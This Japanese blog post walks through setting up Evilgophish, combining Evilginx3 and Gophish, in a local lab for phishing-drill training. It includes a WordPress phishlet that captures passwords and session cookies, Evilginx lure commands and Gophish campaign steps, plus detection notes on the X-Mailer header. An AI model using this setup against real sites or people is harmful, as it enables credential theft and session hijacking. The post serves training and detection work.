Evilgophishの検証

このブログは、最近AWSと格闘しているアルバイトのseigo2016が書いています。 あるもりすぶろぐの内容は個人の意見です。


はじめに

検証には自身で管理する環境を使用し、自己責任でお願いします。また、この情報を悪用することは絶対に行わないでください。
今回は、フィッシングメールや、標的型攻撃メールの訓練に有用なソフトウェアである、Evilgophishの検証を行いました。

概要

Evilgophishは、中間者攻撃フレームワークのEvilginx3と、フィッシングツールキットのGophishを組み合わせたソフトウェアです。
Evilgophishを使うことで、ソーシャルエンジニアリングや標的型攻撃メールの訓練やテストを行うことができます。

Evilginxについて

Evilginxは、セッションCookieと共にログイン認証情報をフィッシングする中間者攻撃フレームワークです。 Go言語で独自のHTTP及びDNSサーバーが実装されています。

Gophishについて

Gophishは、ペネトレーションテスト等向けに設計された、オープンソース(MIT License)のフィッシングツールキットです。 こちらもGo言語で実装されています。

Evilgophishについて

Evilginx3をソーシャルエンジニアリングの検証や調査に用いるためには、別途個別の追跡情報を取得・確認する機能や、実際にメールやSMSなどに送信する方法を用意する必要があります。

このEvilgophishでは、Evilginx3とGophishを組み合わせることで、キャンペーンの統計情報の取得・確認やメール・SMSの送信などが可能であり、更にそれらの情報をWebブラウザから確認することができます。

検証

検証環境構成

すべての環境はVagrant上に構築し、それぞれにローカルのIPアドレスを付与しています。

  • Evilgophish実行環境
    • Ubuntu 22.04 (generic/ubuntu2204)
    • ホスト名 : example.test
  • メールサーバー実行環境
  • WordPressサーバー実行環境
    • Ubuntu 22.04 (generic/ubuntu2204)
    • WordPress (6.3.2)
    • ホスト名 : wp.test

Evilgophish環境構築手順

cloneとセットアップ

git clone https://github.com/fin3ss3g0d/evilgophish.git
sudo ./setup.sh example.test example.test true google.com true user_id false

Evilgophishの検証

Evilginxの起動・設定

cd evilginx3
./evilginx3 -g ../gophish/gophish.db -p legacy_phishlets/ --developer

-developerをつけることで、developer modeが有効になり、自己署名証明書が発行されます。 -pオプションでlegacy_phishlets/ディレクトリを指定することで、legacy_phishletsディレクトリ以下のphishletsが読み込まれます。 -gオプションで連携するgophishのデータベースを指定します。

検証のために用意したWordpress用のphishletを使用し、legacy_phishletsディレクトリ以下に配置しました。 このphishletは同じく株式会社ArmorisアルバイトのShaderoが以前の検証で利用したものを使わせてもらっています。

author: '@armoris'
min_ver: '2.3.0'
proxy_hosts:
  - {phish_sub: '', orig_sub: '', domain: 'wp.test', session: true, is_landing: true}

sub_filters:
  - {triggers_on: 'wp.test', orig_sub: '', domain: 'wp.test', search: '{hostname}', replace: '{hostname}', mimes: ['text/html']}

auth_tokens:
  - domain: 'wp.test'
    keys: ['wordpress_logged_in_12913fd91550a6158ad37f2c7911fba9']
credentials:
  username:
    key: 'log'
    search: '(.*)'
    type: 'post'
  password:
    key: 'pwd'
    search: '(.*)'
    type: 'post'

login:
  domain: 'wp.test'
  path: '/wp-login.php'
config domain example.test
config ipv4 172.16.0.99
phishlets hostname wordpress example.test
phishlets enable wordpress
lures create wordpress
lures get-url 0

ここで表示されたフィッシングURLをgophish側で利用するため、保存しておきます。

gophishの起動・設定

今回は、gophishのダッシュボードにLAN内の別のマシンから接続するため、configのlisten_urlを書き換えています。

{
    "admin_server": {
        "listen_url": "0.0.0.0:3333",
        "use_tls": true,
        "cert_path": "gophish_admin.crt",
        "key_path": "gophish_admin.key"
    },
    "phish_server": {
        "listen_url": "0.0.0.0:8080",
        "use_tls": true,
        "cert_path": "gophish_template.crt",
        "key_path": "gophish_template.key"
    },
    "feed_enabled": true,
    "db_name": "sqlite3",
    "db_path": "gophish.db",
    "migrations_prefix": "db/db_",
    "contact_address": "",
    "logging": {
        "filename": "",
        "level": ""
    }
}
sudo ./gophish

起動に成功すると、初回ログイン用のユーザー名とパスワードが表示されます。 それを用いて、ブラウザからダッシュボードにログインします。

Email Templatesの作成

左側のメニューからEmail/SMS Templatesを選択し、New Templateボタンをクリックして、フィッシングメールのテンプレートを作成します。
本文内に{{.URL}}を設定することで、後で設定するEvilginxのフィッシングURLが挿入されます。

Email Sending Profilesの作成

左側のメニューからEmail/ Sending Profilesを選択し、フィッシングメールの送信に利用するSMTPサーバーの設定を行います。

Users & Groups の作成

左側のメニューからUsers & Groupsを選択し、New Groupから、フィッシングメールを送信するユーザーのグループを設定します。対象のユーザーの名前やメールアドレスを指定し、ユーザーを追加することができます。

Campaignsの作成

左側のメニューのLaunch Email Campaignからキャンペーンを作成します。
ここで、先程設定したEmail Template及びSending Profile、ユーザーグループを設定します。
また、evilginx URLの欄に、Evilginxで発行したPhishing URLを入力することで、先述のEmail Templatesの{{.URL}}の箇所にURLが挿入されます。

下部のProfitボタンをクリックすると、メールが送信されます。

今回はこのようなメールを送信しました。

キャンペーン状態の確認

送信後、ダッシュボードに戻ってくると、Email/SMS Sentが更新されています。 このように、グラフィカルにアクティブなキャンペーンの状態が確認できます。

また、画面下部のDetails欄に個別のメール送信先のStatusと取得した情報が表示されます。
受信したメールをユーザーがクリックすると、StatusがClicked Linkに更新され、クリックしたOS及びブラウザの情報と日時が表示されます。
その後、ユーザーがEvilginxで用意したフィッシングサイトにログインすると、Submitted DataとCaptured Sessionのステータスが更新されます。

Details欄の該当ユーザーのタイムラインを見ると、用意したEvilginxのPhishletsでキャプチャするように指定した情報が取得できていることが確認できます。

Evilginx2と3の差異

セッショントークン関連

HTTP 応答パケットの本文や、Authorizationヘッダーなどからもセッショントークンを取得できるようになりました。

これまで、セッショントークンはHTTP Cookieとして送信される前提でしたが、最近ではJSONとして取得後、ローカルストレージに保存する流れも一般的であるためと説明されています。

config

configのファイルフォーマットがyamlからJSONに変更されました。一方で、phishletsはyamlのままです。

phishing sessions

有効なURLが開かれると、常にフィッシングセッションが作成されるようになりました。 これにより、ターゲットがURLを開く度にリバースプロキシセッションが新しく作成されます。

JavaScriptでのURLリダイレクト

これまでは、HTTP Locationヘッダーを通じてredirect_urlにリダイレクトしていました。しかし、この方法では、refererヘッダーを通じてフィッシングURLが宛先に公開されてしまっていました。今後はJavaScriptを用いてリダイレクトされます。

Evilgophishで攻撃された場合の検知方法

Gophishで送信したメールのX-MailerヘッダーにはIGNOREが設定されています。
X-Mailerヘッダーとは、送信者の使用したメールクライアントやそのバージョンなどが記載されたものです。
今のところ、このヘッダーの変更はOptionからは行えないようです。

今回送信したメールのヘッダー情報

最後に

今回はEvilginx2と3の比較と、Evilgophishの検証を行いました。
Evilginx3では、phishing sessions作成タイミングの変更やsession tokenを取得できる箇所の増加により、より柔軟に利用することができようになったと感じました。
また、Evilgophishを用いることで、メールテンプレートの作成や送信・統計情報の取得まで、ブラウザ上で容易に行うことができ、非常に有用であると思います。

「標的型攻撃による機密情報の窃取」は、IPAが公開している情報セキュリティ10大脅威 2023で、長年上位にランクインしています。Evilgophishを活用することで、標的型攻撃メール訓練の実施を簡単に行うことができます。